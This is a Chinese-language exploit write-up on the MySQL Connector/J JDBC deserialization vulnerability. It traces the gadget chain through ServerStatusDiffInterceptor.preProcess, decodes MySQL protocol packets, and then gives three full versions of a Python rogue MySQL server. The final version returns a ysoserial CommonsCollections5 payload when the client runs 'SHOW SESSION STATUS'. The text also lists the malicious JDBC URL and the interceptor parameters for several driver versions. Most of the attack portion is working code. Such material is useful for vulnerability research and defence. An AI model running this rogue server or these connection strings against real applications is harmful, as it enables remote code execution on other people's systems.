一、漏洞简介
MySQL JDBC
反序列化漏洞在BlackHat Europe 2019的
议题中反复被提及。针对不同的版本,其有不同的利用方式。
二、利用链分析
首先分析一下mysql 8.0.14
版本环境下的利用方式。从一个漏洞挖掘者的视角,来对整个调用链做一个分析。
在Java
中,如果想要触发反序列化,我们需要调用readObject
方法,因此,在寻找整个利用链的过程中,首先需要定位到最后的触发点,也就是我们需要找到哪个地方调用了readObject
方法。在该漏洞的利用过程中,最后用到的是ResultSetImpl
的getObject
方法,我们跟进该方法查看一下代码:
可以发现这里调用了readObject
方法,也就是说,如果这里的data
变量我们可以控制的话,就可以利用反序列化链进行攻击。这里先不看这个的data
如何进行控制,而是去寻找如何能够触发这个getObject
方法。
接下来我们找到了ResultSetUtil.resultSetToMap
方法:
如果这里的rs
变量传入的是ResultSetImpl
对象的话,就可以调用到最上面的getObject
方法。接下来需要继续寻找,哪个地方调用了ResultSetUtil.resultSetToMap
,我们找到了ServerStatusDiffInterceptor.populateMapWithSessionStatusValues
,其内部调用了上面的ResultSetUtil.resultSetToMap
:
然后我们继续检索,哪个地方调用了ServerStatusDiffInterceptor.populateMapWithSessionStatusValues
,最后我们找到了ServerStatusDiffInterceptor.preProcess
方法:
该漏洞前面部分的利用链就到此为止了。在这里需要思考的一个问题是,这里的preProcess
方法如何进行调用。这里参考一下官方文档,关于MySQL Connector/J 8.0
连接串参数属性https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-connp-props-statements.html#cj-conn-prop_queryInterceptors
。
大致解释一下这个queryInterceptors
参数,就是指定一个或者多个实现了com.mysql.cj.interceptors.QueryInterceptor
接口的类,然后在进行SQL
查询操作之前,执行该类中的一个方法从而来影响最终的查询结果,而这个方法就是preProcess
方法。(在查询完之后,还会调用其postProcess
方法在此进行一个处理)
这样,也就能够解释,为什么在构造payload
的时候,需要在URL
处指定一个queryInterceptors
参数。此时还有一个问题,就是上面提到的这个参数,需要在进行SQL
查询的时候才能进行触发,而在实际的利用过程中,只需要进行getConnection
就能触发。通过简单的调试,可以发现在getConnection
过程中,调用了查询语句:
(我们将断点直接打在ServerStatusDiffInterceptor.preProcess
这个方法上面,然后查看整个栈的情况,其实可以发现是通过调用了NativeProtocol
类的一些方法后,最终调用了这个preProcess
方法,从一个相对比较宏观的角度来看的话,可以按照上面的理解,在进行查询操作之前,就调用了preProcess
方法进行了一个处理)
三、mysql
数据包
到这里,整个利用的思路就比较清楚了,接下来要做的就是怎么去构造数据,最终能够进行反序列化漏洞的利用。根据上面的分析,我们把关注点放到ServerStatusDiffInterceptor.populateMapWithSessionStatusValues
这个上面:
关键部分就是rs
变量的构造,因为最后我们需要调用rs.getObject
方法来进行触发。简单对整个代码进行分析,最后调用了rs.getObject
方法,而在这个方法里面,data
变量的值为执行查询语句后返回的表的第一列值(根据columnIndex
)。我们对上述代码进行调试,当执行完show session status
之后,如果可以执行byte[] data = getBytes(columnIndex);
的话,那么data
变量的值为:
转换成字符串的形式为Aborted_clients
,其对应show session status
的第一行第一列数据:
因此,我们的攻击思路是伪造一个Fake Mysql
,然后当这里进行查询的时候,返回一个我们想要构造的数据。这里的难点就是如何返回指定的数据。我们在rs
这里下一个断点,然后使用wireshark
来捕获一下数据包:
上面最后的两个数据包,就是客户端发送了请求,然后服务端返回给客户端信息。这里我们参考官方给出的返回结果集的数据包格式,来分析一下:https://dev.mysql.com/doc/internals/en/protocoltext-resultset.html
这里给出的一个示例为查询SELECT @@version_comment
后,数据包返回的数据解析,我们先给出在mysql
命令行下,输入该命令的返回结果:
然后我们获取数据包,查看返回的数据结果:(这里返回了四个序列)
根据官方文档的解释,我们对每个序列进行一个简单的介绍:
# 第一个序列字段
01 00 00 01 01
前面三个字节表示数据长度,然后接一个01表示sequence id,最后一个01表示返回的列数
# 第二个序列字段
27 00 00 | 02 | 03 64 65 66 | 00 | 00 | 00 | 11 40 40 76
65 72 73 69 6f 6e 5f 63 6f 6d 6d 65 6e 74 | 00 | 0c |
21 00 | 54 00 00 00 | fd | 00 00 1f 00 00
这里便于区分,我用|进行分隔开:
- 前面三个字节表示内容的长度
- 02表示sequence id
- 03 64 65 66为catalog
- 00表示schema,不使用一般置为0
- 00表示table
- 00表示org_table
- 下面一段的值为@@version_comment,可以对应我们查询的名称
- 00表示org_name
- 0c表示filter,通常为0c,不用改动
- 21 00 表示character_set
- 54 00 00 00表示column_length
- fd表示column_type,这里是string的意思
- 00 00表示flags
- 1f表示decimals
- 00 00表示filler_2
(大致理解为第二个字段用于定义了返回表的字段的一些信息,比如字段名,字段值类型等)
# 第三个序列字段
1d 00 00 03 1c 4d 79 53 51 4c 20 43 6f 6d 6d 75 6e 69 74 79 20 53 65 72 76 65 72 20 2d 20 47 50 4c
- 1d 00 00表示内容的长度
- 03表示sequence id
- 后面的部分表示具体的值,也就是对应的MySQL Community Server - GPL
(可以理解为该字段用来定义表中的值)
# 第四个序列字段
07 00 00 04 fe 00 00 02 00 00 00
- 07 00 00表示内容长度
- 04表示sequence id
- fe表示EOF
- 00表示warning_count
- 02 00表示status_flags,这里的意思为SERVER_STATUS_AUTOCOMMIT
(这个字段主要用于表示结束)
通过上面的介绍,我们就可以大致了解每个字段的作用,即分别用于定义列数、列名以及列值。接下来我们就可以大致知道POC
怎么进行编写了,一个简单的方式为我们直接把协议的返回字段拿下来,然后修改其中的一部分信息,返回给客户端,即可完成数据的构造(前面的认证过程返回的数据我们直接复制粘贴返回字段值即可)。
四、Fake Mysql
编写
接下来我们来编写一个完成认证过程的Fake Mysql
服务端,可以直接粘贴获取Response
数据包的值即可:
import socket
import binascii
# 对应第一个问候数据包,当监听到连接之后,发送给客户端
GreetingInfo = "4a0000000a382e302e31320013000000080c16437d1a144000ffffc00200ffc31500000000000000000000203c5f03322d4f4863566101006d7973716c5f6e61746976655f70617373776f726400"
login1 = "0700000200000002000000"
# 用户发送账号和密码后,验证成功的返回数据包
loginValid = "01000001122e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c21000c000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c21002d000000fd00001f00002a0000080364656600000014636f6c6c6174696f6e5f636f6e6e656374696f6e000c21002d000000fd00001f000022000009036465660000000c696e69745f636f6e6e656374000c21002a000000fd00001f00002900000a0364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000b03646566000000076c6963656e7365000c210009000000fd00001f00002c00000c03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000d03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000e03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000001e00000f036465660000000873716c5f6d6f6465000c21005f010000fd00001f000026000010036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000011036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001203646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000013036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f9000014013104757466380475746638047574663804757466380f757466385f756e69636f64655f63690f757466385f67656e6572616c5f63690e534554204e414d45532075746638033132300347504c0131083136373737323136023630754f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce40653595354454d0f52455045415441424c452d524541440331323007000015fe000002000000"
resCharset = "0700000100000002000000"
resAutoCommit = "01000001012a0000020364656600000014404073657373696f6e2e6175746f636f6d6d6974000c3f000100000008800000000002000003013107000004fe000002000000"
def startServer():
serverSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
serverSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serverSocket.bind(("0.0.0.0",3306))
serverSocket.listen(1)
print("Start Fake Server:{}:{}".format("0.0.0.0","3306"))
while True:
# 获取到数据之后,开始进行交互
conn,addr = serverSocket.accept()
conn.send(binascii.a2b_hex(GreetingInfo))
while True:
data = conn.recv(1024)
print("接收到数据:{}".format(data))
# login验证
if b"mysql_native_password" in data:
conn.send(binascii.a2b_hex(login1))
elif b"auto_increment_increment" in data:
conn.send(binascii.a2b_hex(loginValid))
elif b"character_set_results" in data:
conn.send(binascii.a2b_hex(resCharset))
elif b"session.autocommit" in data:
conn.send(binascii.a2b_hex(resAutoCommit))
pass
if __name__ == '__main__':
startServer()
然后使用jdbc
来进行连接,可以查看到客户端最后发送了一个SHOW SESSION STATUS
的查询:
根据前面的介绍,SHOW SESSION STATUS
查询过后,如果能够执行byte[] data = getBytes(columnIndex);
,data
的值最后的结果为Aborted_clients
,我们查找一下这个字符串,然后根据上面的分析,修改一下长度以及字符串内容:
# show session status返回值构造
part1 = "0100000102"
part2 = "4c00000203646566000e73657373696f6e5f7374617475730e73657373696f6e5f7374617475730d5661726961626c655f6e616d650d5661726961626c655f6e616d650cff0000010000fd0110000000"
part3 = "3c00000303646566000e73657373696f6e5f7374617475730e73657373696f6e5f7374617475730556616c75650556616c75650cff0000100000fd0000000000"
# part4就是我们想要构造部分,主要需要修改前三个字节、第5个字节以及中间的41626f727465645f636c69656e7473这个部分
# 第五个字节表示构造字符串的长度,前三个字节表示的长度从第5个字节开始算起
tmpPart4 = "120000040f41626f727465645f636c69656e74730139"
part4 = "090000" + "0406" + "6d31736e3077" + "0139"
part5 = "070000b3fe000002000000"
resPayload = part1 + part2 + part3 + part4 + part5
关键就在于修改上面的part4
,需要修改前三个字节,第5个字节,以及想要构造的payload
,按照上面的构造完成之后,通过调试可以发现,最后的值替换成了m1sn0w
:
接下来开始正式构造POC
,也就是我们需要开始控制条件语句,让其最终能够执行到byte[] data = getBytes(columnIndex);
,并调用readObject
方法,回到最终调用的getObject
方法中:
这里有三个主要的条件需要我们进行控制。第一个是获取的字段的mysql
类型必须为BIT
,关于BIT
的描述:
/**
* BIT[(M)]
* A bit-field type. M indicates the number of bits per value, from 1 to 64. The default is 1 if M is omitted.
* Protocol: FIELD_TYPE_BIT = 16
*/
前面在描述第二个序列的时候,有介绍到fd
这个值,表示的就是varchar
类型,我们查看一下官方文档,即10
对应的就是BIT
类型。
因此在最后构造POC
的时候,只需要将part2
后面的fd
更改为10
即可执行这个条件语句:
第二个绕过部分为autoDeserialize
,只需要设置URL
参数为autoDeserialize=true
即可。第三个部分就是判断我们构造的payload
数据前两个字节是否为-84
和-19
,这其实就是序列化数据的标志。因此,最后的POC
如下:
import socket
import binascii
# 对应第一个问候数据包,当监听到连接之后,发送给客户端
GreetingInfo = "4a0000000a382e302e31320013000000080c16437d1a144000ffffc00200ffc31500000000000000000000203c5f03322d4f4863566101006d7973716c5f6e61746976655f70617373776f726400"
login1 = "0700000200000002000000"
# 用户发送账号和密码后,验证成功的返回数据包
loginValid = "01000001122e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c21000c000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c21002d000000fd00001f00002a0000080364656600000014636f6c6c6174696f6e5f636f6e6e656374696f6e000c21002d000000fd00001f000022000009036465660000000c696e69745f636f6e6e656374000c21002a000000fd00001f00002900000a0364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000b03646566000000076c6963656e7365000c210009000000fd00001f00002c00000c03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000d03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000e03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000001e00000f036465660000000873716c5f6d6f6465000c21005f010000fd00001f000026000010036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000011036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001203646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000013036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f9000014013104757466380475746638047574663804757466380f757466385f756e69636f64655f63690f757466385f67656e6572616c5f63690e534554204e414d45532075746638033132300347504c0131083136373737323136023630754f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce40653595354454d0f52455045415441424c452d524541440331323007000015fe000002000000"
resCharset = "0700000100000002000000"
resAutoCommit = "01000001012a0000020364656600000014404073657373696f6e2e6175746f636f6d6d6974000c3f000100000008800000000002000003013107000004fe000002000000"
# show session status返回值构造
part1 = "0100000102"
# part2 = "4c00000203646566000e73657373696f6e5f7374617475730e73657373696f6e5f7374617475730d5661726961626c655f6e616d650d5661726961626c655f6e616d650cff0000010000fd0110000000"
part2 = "4c00000203646566000e73657373696f6e5f7374617475730e73657373696f6e5f7374617475730d5661726961626c655f6e616d650d5661726961626c655f6e616d650cff0000010000100110000000"
part3 = "3c00000303646566000e73657373696f6e5f7374617475730e73657373696f6e5f7374617475730556616c75650556616c75650cff0000100000fd0000000000"
# part4就是我们想要构造部分,主要需要修改前三个字节、第5个字节以及中间的41626f727465645f636c69656e7473这个部分
# 第五个字节表示构造字符串的长度,前三个字节表示的长度从第5个字节开始算起
tmpPart4 = "120000040f41626f727465645f636c69656e74730139"
part4 = "090000" + "04" + "payload长度" + "payload" + "0139"
part5 = "070000b3fe000002000000"
resPayload = part1 + part2 + part3 + part4 + part5
def startServer():
serverSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
serverSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serverSocket.bind(("0.0.0.0",3306))
serverSocket.listen(1)
print("Start Fake Server:{}:{}".format("0.0.0.0","3306"))
while True:
# 获取到数据之后,开始进行交互
conn,addr = serverSocket.accept()
conn.send(binascii.a2b_hex(GreetingInfo))
while True:
data = conn.recv(1024)
print("接收到数据:{}".format(data))
# login验证
if b"mysql_native_password" in data:
conn.send(binascii.a2b_hex(login1))
elif b"auto_increment_increment" in data:
conn.send(binascii.a2b_hex(loginValid))
elif b"character_set_results" in data:
conn.send(binascii.a2b_hex(resCharset))
elif b"session.autocommit" in data:
conn.send(binascii.a2b_hex(resAutoCommit))
elif b"SHOW SESSION STATUS" in data:
conn.send(binascii.a2b_hex(resPayload))
pass
if __name__ == '__main__':
startServer()
(这里有个坑,就是上面介绍payload
前面那个字节表示payload
的长度,如果说payload
过长,需要两个或者多个字节来表示长度的话,就需要在前面加上一个fc
)
验证漏洞的话,我导入一个commons-collection3.1
,利用ysoserial
生成payload
,确定长度后即可进行攻击了(这里选用了CommonsCollections5
):
import socket
import binascii
# 对应第一个问候数据包,当监听到连接之后,发送给客户端
GreetingInfo = "4a0000000a382e302e31320013000000080c16437d1a144000ffffc00200ffc31500000000000000000000203c5f03322d4f4863566101006d7973716c5f6e61746976655f70617373776f726400"
login1 = "0700000200000002000000"
# 用户发送账号和密码后,验证成功的返回数据包
loginValid = "01000001122e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c21000c000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c21002d000000fd00001f00002a0000080364656600000014636f6c6c6174696f6e5f636f6e6e656374696f6e000c21002d000000fd00001f000022000009036465660000000c696e69745f636f6e6e656374000c21002a000000fd00001f00002900000a0364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000b03646566000000076c6963656e7365000c210009000000fd00001f00002c00000c03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000d03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000e03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000001e00000f036465660000000873716c5f6d6f6465000c21005f010000fd00001f000026000010036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000011036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001203646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000013036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f9000014013104757466380475746638047574663804757466380f757466385f756e69636f64655f63690f757466385f67656e6572616c5f63690e534554204e414d45532075746638033132300347504c0131083136373737323136023630754f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce40653595354454d0f52455045415441424c452d524541440331323007000015fe000002000000"
resCharset = "0700000100000002000000"
resAutoCommit = "01000001012a0000020364656600000014404073657373696f6e2e6175746f636f6d6d6974000c3f000100000008800000000002000003013107000004fe000002000000"
# show session status返回值构造
part1 = "0100000102"
# part2 = "4c00000203646566000e73657373696f6e5f7374617475730e73657373696f6e5f7374617475730d5661726961626c655f6e616d650d5661726961626c655f6e616d650cff0000010000fd0110000000"
part2 = "2a00000203646566047465737404746573740474657374046e616d65046e616d650c3f00ffff0000fc9000000000"
part3 = "2c000003036465660474657374047465737404746573740576616c75650576616c75650c3f00ffff0000fc9000000000"
# part4就是我们想要构造部分,主要需要修改前三个字节、第5个字节以及中间的41626f727465645f636c69656e7473这个部分
# 第五个字节表示构造字符串的长度,前三个字节表示的长度从第5个字节开始算起
with open("poc","rb") as file:
payload = binascii.b2a_hex(file.read())
tmpPart4 = "120000040f41626f727465645f636c69656e74730139"
part4 = "220800" + "04" + "fc1d08" + payload.decode('utf-8') + "0139"
part5 = "07000005fe000022000100"
resPayload = part1 + part2 + part3 + part4 + part5
final = "0700000100000002000000"
warn = "01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000"
def startServer():
serverSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
serverSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serverSocket.bind(("0.0.0.0",3306))
serverSocket.listen(1)
print("Start Fake Server:{}:{}".format("0.0.0.0","3306"))
while True:
# 获取到数据之后,开始进行交互
conn,addr = serverSocket.accept()
conn.send(binascii.a2b_hex(GreetingInfo))
while True:
data = conn.recv(1024)
print("接收到数据:{}".format(data))
# login验证
if b"mysql_native_password" in data:
conn.send(binascii.a2b_hex(login1))
elif b"auto_increment_increment" in data:
conn.send(binascii.a2b_hex(loginValid))
elif b"character_set_results" in data:
conn.send(binascii.a2b_hex(resCharset))
elif b"session.autocommit" in data:
conn.send(binascii.a2b_hex(resAutoCommit))
elif b"SHOW SESSION STATUS" in data:
conn.send(binascii.a2b_hex(resPayload))
elif b"AUTO" in data:
conn.send(binascii.a2b_hex(final))
elif b"WARNINGS" in data:
conn.send(binascii.a2b_hex(warn))
pass
if __name__ == '__main__':
startServer()
五、总结
本文主要分析了mysql8.x
环境下的反序列化漏洞的利用,漏洞利用点就在于jdbc
的URL
可控,然后我们构造autoDeserialize
和queryInterceptors
,让其远程连接Fake Mysql
,最终触发了反序列化。本文用到的URL
为:jdbc:mysql://127.0.0.1:3306/test?useSSL=false&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&serverTimezone=UTC
。这里设置useSSL=false
主要是为了方便抓取mysql
数据包进行分析。
当然,在不同的mysql
版本下,利用的方式稍微有一点点不同,但是大致原理是类似,这里就不再进行分析了。下面贴一个不同版本下jdbc
反序列化漏洞的利用方式:(有兴趣的师傅自己研究吧)
# 6.x版本下需要设置的参数
autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
# 5.1.11及以上的5.x版本
autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
# 5.1.29-5.1.40
detectCustomCollations=true&autoDeserialize=true
# 5.1.28-5.1.19
autoDeserialize=true